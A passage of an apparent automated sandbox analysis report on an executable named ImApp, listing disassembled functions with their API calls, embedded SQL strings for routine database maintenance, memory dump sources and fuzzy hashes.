#10.IMDBU(DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,020FA300,?), ref: 020E5A35
#10.IMDBU(DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,GUID,?,DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,020FA300,?), ref: 020E5A4F
#8.IMDBU(DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,00000001,00000000,DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,GUID,?,DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID,020FA300,?), ref: 020E5A63

Strings

DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID, xrefs: 020E5A2E, 020E5A48, 020E5A5C
GUID, xrefs: 020E5A43

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: DELETE FROM RecentlyUsedPictures WHERE ID = :ID AND GUID = :GUID$GUID
API String ID: 0-803402005
Opcode ID: 0e54134fd149614b2f2be08c80d933cd4196f5cb8cffa81415a9066284d942a1
Instruction ID: e1715f34ba4abdc516a328c0ff70fddd5627a7158cd32ce26255c489fd6b44d1
Opcode Fuzzy Hash: 0e54134fd149614b2f2be08c80d933cd4196f5cb8cffa81415a9066284d942a1
Instruction Fuzzy Hash: A0E04F367D07103EF9456524CC82FDF274A8B89E44F064408B70BAE780DED0A9C2A7E5

Function 020CE400 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

#52.IMDBU(Domains,Popularity,0000000E,00000000,020CDDFB,update contacts set source=2 where source not in (1,2),00000001,00000000,00000000,?,020C6049), ref: 020CE415
#8.IMDBU(ALTER TABLE Domains ADD COLUMN Popularity INTEGER DEFAULT 0,00000001,00000000,Domains,Popularity,0000000E,00000000,020CDDFB,update contacts set source=2 where source not in (1,2),00000001,00000000,00000000,?,020C6049), ref: 020CE428

Strings

ALTER TABLE Domains ADD COLUMN Popularity INTEGER DEFAULT 0, xrefs: 020CE421
Domains, xrefs: 020CE40C
Popularity, xrefs: 020CE404

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: ALTER TABLE Domains ADD COLUMN Popularity INTEGER DEFAULT 0$Domains$Popularity
API String ID: 0-3185650366
Opcode ID: 8ef166442409b1483aab1a75b1244cd45079c2932987c104caf14dd4f931e31b
Instruction ID: ba1f715d61f0294985cc12657c4f06387c5f4f12247f925cce6b770d4cfd3f49
Opcode Fuzzy Hash: 8ef166442409b1483aab1a75b1244cd45079c2932987c104caf14dd4f931e31b
Instruction Fuzzy Hash: 79D05E5779032067BD90222ABC01BFE024A8BE4A21B064075FF1ADA640DA844C8621A0

Function 020CE440 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

#52.IMDBU(Domains,ProviderID,0000000E,00000000,020CDE02,update contacts set source=2 where source not in (1,2),00000001,00000000,00000000,?,020C6049), ref: 020CE455
#8.IMDBU(ALTER TABLE Domains ADD COLUMN ProviderID INTEGER DEFAULT 0,00000001,00000000,Domains,ProviderID,0000000E,00000000,020CDE02,update contacts set source=2 where source not in (1,2),00000001,00000000,00000000,?,020C6049), ref: 020CE468

Strings

ProviderID, xrefs: 020CE444
Domains, xrefs: 020CE44C
ALTER TABLE Domains ADD COLUMN ProviderID INTEGER DEFAULT 0, xrefs: 020CE461

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: ALTER TABLE Domains ADD COLUMN ProviderID INTEGER DEFAULT 0$Domains$ProviderID
API String ID: 0-1130121730
Opcode ID: b988e490f460978396ca7662ad35235ea8ed18b25f29a010ad19bc812fc71d08
Instruction ID: 50d743cadd81fb8a327c82f426809ebb6435645b01447a0a6c233bfbf9b17dbc
Opcode Fuzzy Hash: b988e490f460978396ca7662ad35235ea8ed18b25f29a010ad19bc812fc71d08
Instruction Fuzzy Hash: 60D05E6778032027BD90212ABC05AFE024A8BC4A61B064075FE1AEA640DB914C8A21E0

Function 020E4AA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

#52.IMDBU(RecentlyUsedPictures,FBPictureURL,?,?,020E452E,?), ref: 020E4AB5
#8.IMDBU(ALTER TABLE RecentlyUsedPictures ADD COLUMN FBPictureURL,00000001,00000000,RecentlyUsedPictures,FBPictureURL,?,?,020E452E,?), ref: 020E4AC8

Strings

RecentlyUsedPictures, xrefs: 020E4AAC
ALTER TABLE RecentlyUsedPictures ADD COLUMN FBPictureURL, xrefs: 020E4AC1
FBPictureURL, xrefs: 020E4AA4

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: ALTER TABLE RecentlyUsedPictures ADD COLUMN FBPictureURL$FBPictureURL$RecentlyUsedPictures
API String ID: 0-1761921717
Opcode ID: 546331555476a3d14edb55fca7c4d96f4c9b13875b6211db98ff49659cf7509f
Instruction ID: d921d30c176b90ce67db540a90739fa9000a2d4090922bf0d5498d4255e861cc
Opcode Fuzzy Hash: 546331555476a3d14edb55fca7c4d96f4c9b13875b6211db98ff49659cf7509f
Instruction Fuzzy Hash: EBD05E16B803202BBD91202A7C41AFE028A8BC0929B050075FE0BEAA40DA801CC230A4

Function 020D1020 Relevance: 7.7, APIs: 5, Instructions: 237COMMON

Download Yara Rule

APIs

#578.MFC80U(265105E4,?,?,?,?,?,?,?,?,?,?,?,?,020F0B6F,000000FF), ref: 020D1110
#578.MFC80U(?,?,?,?), ref: 020D114A
#578.MFC80U(265105E4,?,?,?,?), ref: 020D1241
#578.MFC80U(?,?,00000002), ref: 020D12D1
#2121.MFC80U(?,?,00000002), ref: 020D12E2

Part of subcall function 020D2890: #310.MFC80U(265105E4,?,?,?,020EF70A,000000FF,020D0620,?,?,00000002), ref: 020D28C8

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#2121#310
String ID:
API String ID: 488354711-0
Opcode ID: dfd9214ea34f692d78b189d9cfd0c29fb6e604a467c0337d6ca67b6e42ad055e
Instruction ID: 6479b90df0cc1dabe7fadd0e96cafce1c88baaeee99ea4d022a78daa30608a69
Opcode Fuzzy Hash: dfd9214ea34f692d78b189d9cfd0c29fb6e604a467c0337d6ca67b6e42ad055e
Instruction Fuzzy Hash: 4091AA71609742AFC314DF28C484B6AFBE5BF88318F044A1DE59987690DB35F958CFA2

Function 020CF420 Relevance: 7.7, APIs: 5, Instructions: 200COMMON

Download Yara Rule

APIs

#280.MFC80U(?,265105E4), ref: 020CF455
#764.MFC80U(00000000,?,?,?,00000001,?), ref: 020CF564
#578.MFC80U(?,?), ref: 020CF66D

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #280#578#764
String ID:
API String ID: 267289267-0
Opcode ID: 72d35eb2e381f49be980c83dd353a1e74e5a8e59b37e745bc02fda1d491d2d0e
Instruction ID: 95963633d4fcb00e12ea2ce53dd391a4a37923e0626056a3d159e1d2947af0c2
Opcode Fuzzy Hash: 72d35eb2e381f49be980c83dd353a1e74e5a8e59b37e745bc02fda1d491d2d0e
Instruction Fuzzy Hash: BA61B9B2A002069FCF15DF68C9886AEB7A7BB84310B35C61EDC0A9B644D730ED44DBD1

Function 00410C80 Relevance: 7.7, APIs: 5, Instructions: 177COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-00000010,FC8A6036), ref: 00410CE9
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410D5E
LoadTypeLib.OLEAUT32(?,?), ref: 00410D93
LoadRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00410DC5
LeaveCriticalSection.KERNEL32(-00000010), ref: 00410ED2

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: CriticalLoadSectionType$EnterFileLeaveModuleName
String ID:
API String ID: 2487232618-0
Opcode ID: 821faebb0825581669a748ee80b6d3f0248cd5556cc21a3d9dc8b0874cd5479e
Instruction ID: 6ffbe19cd811f9297f9b355770e59fe5a83db1afe60e3177f031ad7f4d329403
Opcode Fuzzy Hash: 821faebb0825581669a748ee80b6d3f0248cd5556cc21a3d9dc8b0874cd5479e
Instruction Fuzzy Hash: E07190711083419FC324EF65D884AABB7E4FFD8314F14492EF18A87291D778A8C9CB5A

Function 020DA110 Relevance: 7.7, APIs: 5, Instructions: 152COMMON

Download Yara Rule

APIs

#6735.MFC80U(?,265105E4), ref: 020DA148
#6161.MFC80U ref: 020DA15B
#762.MFC80U(00000050), ref: 020DA180
#280.MFC80U(?), ref: 020DA1A3
#578.MFC80U(?,00000000,00002000,00000000), ref: 020DA2D1

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #280#578#6161#6735#762
String ID:
API String ID: 1962170743-0
Opcode ID: f0bc78d8b533a1211946e53e75450467485c255715c7c7eb561131ff64b87fb4
Instruction ID: 2281406f765c5788ac1fdae8fa185e580031069b7b543b944d546d96ee8abcb9
Opcode Fuzzy Hash: f0bc78d8b533a1211946e53e75450467485c255715c7c7eb561131ff64b87fb4
Instruction Fuzzy Hash: B0517775608381AFC341DF28C884B6FFBE5BB89358F144A1DF98687251C775A948CBA2

Function 10007C20 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(00000000,?,?,?,?,10007C0F,00000000,?,?,?,?,?), ref: 10007C3A
_invalid_parameter_noinfo.MSVCR80(?,?,?,10007C0F,00000000,?,?,?,?,?), ref: 10007C57
_invalid_parameter_noinfo.MSVCR80(?,?,?,10007C0F,00000000,?,?,?,?,?), ref: 10007C8A
_invalid_parameter_noinfo.MSVCR80(?,?,?,10007C0F,00000000,?,?,?,?,?), ref: 10007CA0
_invalid_parameter_noinfo.MSVCR80(?,?,?,10007C0F,00000000,?,?,?,?,?), ref: 10007CAC

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6ef2e8668b40ea0ff0bf20bfead6871658652077d6c8d99b3265f89dcd723919
Instruction ID: 5c0e44c7c4ffe399c9f13d3e1f030f8438e5ca708a8531695f1816003e766d8d
Opcode Fuzzy Hash: 6ef2e8668b40ea0ff0bf20bfead6871658652077d6c8d99b3265f89dcd723919
Instruction Fuzzy Hash: E8318D72A042449FF351CF54C884E5BBBE9FF852D4F16846EE88997116C734ED88CBA1

Function 10005120 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(?,?,00000000,DC7F1836,?,00000000,DC7F1836,00000000,00000000,00000000,00000000), ref: 10005137
_invalid_parameter_noinfo.MSVCR80(?,00000000,DC7F1836,?,00000000,DC7F1836,00000000,00000000,00000000,00000000), ref: 10005154

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c9d7274436292e0d31d6bfd4c84eef3016e1ef002c288d8c126deb7d807697d2
Instruction ID: 05f3430576ba538015d8a273b9da8f220e800f4c9ec9ec079a7ec8e3dd7aadf2
Opcode Fuzzy Hash: c9d7274436292e0d31d6bfd4c84eef3016e1ef002c288d8c126deb7d807697d2
Instruction Fuzzy Hash: E34178746046459FE301DF58C484B9BBBE0FF4A3C5F468199E8989722AD332ED44CBA1

Function 10006890 Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

#6293.MFC80U(?,DC7F1836,?,?,?,?,?,?,1000B004,000000FF), ref: 100068CA

Part of subcall function 10006FC0: #1176.MFC80U(?,100068F7), ref: 10006FC9
Part of subcall function 10006FC0: #6282.MFC80U(?,?,?,?,?,?,100068F7), ref: 10007000

#261.MFC80U(?,?,00000001), ref: 100068FE
#5327.MFC80U(DC7F1836,?,?,?,?,?,?,1000B004,000000FF), ref: 10006919
#261.MFC80U(?,?,00000001,?,?,?,00000004,00000001,6AE05C6D,6AE06092,DC7F1836), ref: 1000696A
#776.MFC80U(?,?,?,?,00000001,?,?,?,00000004,00000001,6AE05C6D,6AE06092,DC7F1836), ref: 10006982

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #261$#1176#5327#6282#6293#776
String ID:
API String ID: 3306420541-0
Opcode ID: 3da0afa0e4a92b492f56625728b9ee61ed2e214d0d3b4f54f4ba71546b038769
Instruction ID: ba3616e7dc7d7b8312870ed13a9e8888f4dd7354987596d4128effbf76c2e7e7
Opcode Fuzzy Hash: 3da0afa0e4a92b492f56625728b9ee61ed2e214d0d3b4f54f4ba71546b038769
Instruction Fuzzy Hash: 3E31BE76614314ABF610DF50CC81F7B73EAEB89BA0F104619F9449B289CB35EC04C7A2

Function 10005E40 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(?,1001078C,?,?,100056D6,?,1001078C,?,1001078C,035CB140), ref: 10005E5B
_invalid_parameter_noinfo.MSVCR80(?,1001078C,?,?,100056D6,?,1001078C,?,1001078C,035CB140), ref: 10005E7F

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ccb72fad70bd900ee2e052871af81104324b10ad921920e798026a1b6020b7b3
Instruction ID: 800c156d4a59a4c5c1855d0a62bd8b2429ab636335be27ae3a7cfb436dda1973
Opcode Fuzzy Hash: ccb72fad70bd900ee2e052871af81104324b10ad921920e798026a1b6020b7b3
Instruction Fuzzy Hash: DB31FE31A083958FF311CF55C488E5BB7E9EB452D6F46406AF0C497129C776ED44CBA1

Function 10008B90 Relevance: 7.6, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

#764.MFC80U(?,00000000,?,?,00000000,?,10004233), ref: 10008BF6
free.MSVCR80 ref: 10008C05
#764.MFC80U(?,00000000,?,?,00000000,?,10004233), ref: 10008C0F
#764.MFC80U(?,00000000,?,?,00000000,?,10004233), ref: 10008C2B
#764.MFC80U(?,00000000,?,?,00000000,?,10004233), ref: 10008C67

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #764$free
String ID:
API String ID: 3725505135-0
Opcode ID: 2fe41e4fa096fedbc275f258c0ef48051beee0fc9d7be9486fcf73f4841dd26d
Instruction ID: 7f0a784ec4c4bf9c033540fe98e953e04e2341b8135b870601ac155f66141476
Opcode Fuzzy Hash: 2fe41e4fa096fedbc275f258c0ef48051beee0fc9d7be9486fcf73f4841dd26d
Instruction Fuzzy Hash: 9B318BB190124A9BFB10CF54C8C198EB7A4FF44390F16892EE89997205D735FA958BE2

Function 00403A40 Relevance: 7.6, APIs: 5, Instructions: 92COMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00403A82
#314.MFC80U(00000000,FC8A6036), ref: 00403A8C
#754.IMUTILSU(?), ref: 00403ABA
#6751.MFC80U(00000000,?), ref: 00403AFC
#6751.MFC80U(00000000,?), ref: 00403B2A

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #6751$#1067#314#754
String ID:
API String ID: 4073340774-0
Opcode ID: 90ef6398555ced1846a00423e1e23fd57bd30155c87bb3bd1de6b785fffb7097
Instruction ID: 4f172938e386fa4381c27957debc64f69d786f131076df7482fc3d443fe46881
Opcode Fuzzy Hash: 90ef6398555ced1846a00423e1e23fd57bd30155c87bb3bd1de6b785fffb7097
Instruction Fuzzy Hash: 943136B12083409FC354DF29C981A5BBBF8FB89718F004A2EF59997291E735E905CB96

Function 020D4530 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(265105E4), ref: 020D458B
#557.MFC80U ref: 020D459A
_invalid_parameter_noinfo.MSVCR80(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020ECEB8), ref: 020D45BA
#1245.MFC80U(?), ref: 020D45DE
#745.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,020ECEB8), ref: 020D45EF

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo$#1245#557#745
String ID:
API String ID: 3177843173-0
Opcode ID: 98b941abc8f906222ef60ea874057ce00fc72526691b5e0b7b0e8b67e620b4c7
Instruction ID: 7ce8acc5e44903011093e7c070e9d4a9957375f44bd8eb56128a92e39bf0012d
Opcode Fuzzy Hash: 98b941abc8f906222ef60ea874057ce00fc72526691b5e0b7b0e8b67e620b4c7
Instruction Fuzzy Hash: 733149762097068FC728DF29C880B6BF3E5FB88614F444A2DE45687784DB31E945CF86

Function 03273F20 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCR80 ref: 03273F3C
??2@YAPAXI@Z.MSVCR80(?), ref: 03273F6E
memcpy.MSVCR80(00000000,00000000), ref: 03273F7F
??3@YAXPAX@Z.MSVCR80(00000000,00000000,00000000), ref: 03273F8E
??3@YAXPAX@Z.MSVCR80(00000000), ref: 03273FD1

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: ??2@??3@$memcpy
String ID:
API String ID: 2730636567-0
Opcode ID: 92971cb704164c4f82c9db5ae77c01611573281527c5a013faac5c21bab8a6fc
Instruction ID: e148785eaeadedea611921e6ee14066d54fa61fd6dab1f867028b6e7098927f4
Opcode Fuzzy Hash: 92971cb704164c4f82c9db5ae77c01611573281527c5a013faac5c21bab8a6fc
Instruction Fuzzy Hash: 142195796113069BCB14DF59EC40B17BBE8FF80254F08446AED048B205D771E5969BE2

Function 00406110 Relevance: 7.6, APIs: 5, Instructions: 77windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00406135
#314.MFC80U(00000000,FC8A6036), ref: 0040613F
#390.IMUTILSU ref: 00406173
SendMessageW.USER32(?,00008172,?,00000000), ref: 00406188
#6751.MFC80U(00000000,?), ref: 004061ED

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#314#390#6751MessageSend
String ID:
API String ID: 903201250-0
Opcode ID: 0f5007b88680f057099d9faacf6b312d1b125ab9e9df3a93226a015a5f1e2b67
Instruction ID: 463d8b381b2fbaf58c986dab4a48e70fbdc5c8f6f60704ea960d527cb27c90c3
Opcode Fuzzy Hash: 0f5007b88680f057099d9faacf6b312d1b125ab9e9df3a93226a015a5f1e2b67
Instruction Fuzzy Hash: 58312671204301ABE324EF25C845F6AB7E9FB88710F108A1DF595972D1C774A805CBA5

Function 00417830 Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

#1194.MFC80U(?,FC8A6036), ref: 0041785B

Part of subcall function 00414580: #679.IMUTILSU(004247D4,00000000,00000015,004247A4,?), ref: 004145A7

#6.IMNTUTILU ref: 004178B3
#67.IMNTUTILU(00000000), ref: 004178D2
#18.IMNTUTILU ref: 004178F9
VariantClear.OLEAUT32(?), ref: 0041790B

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
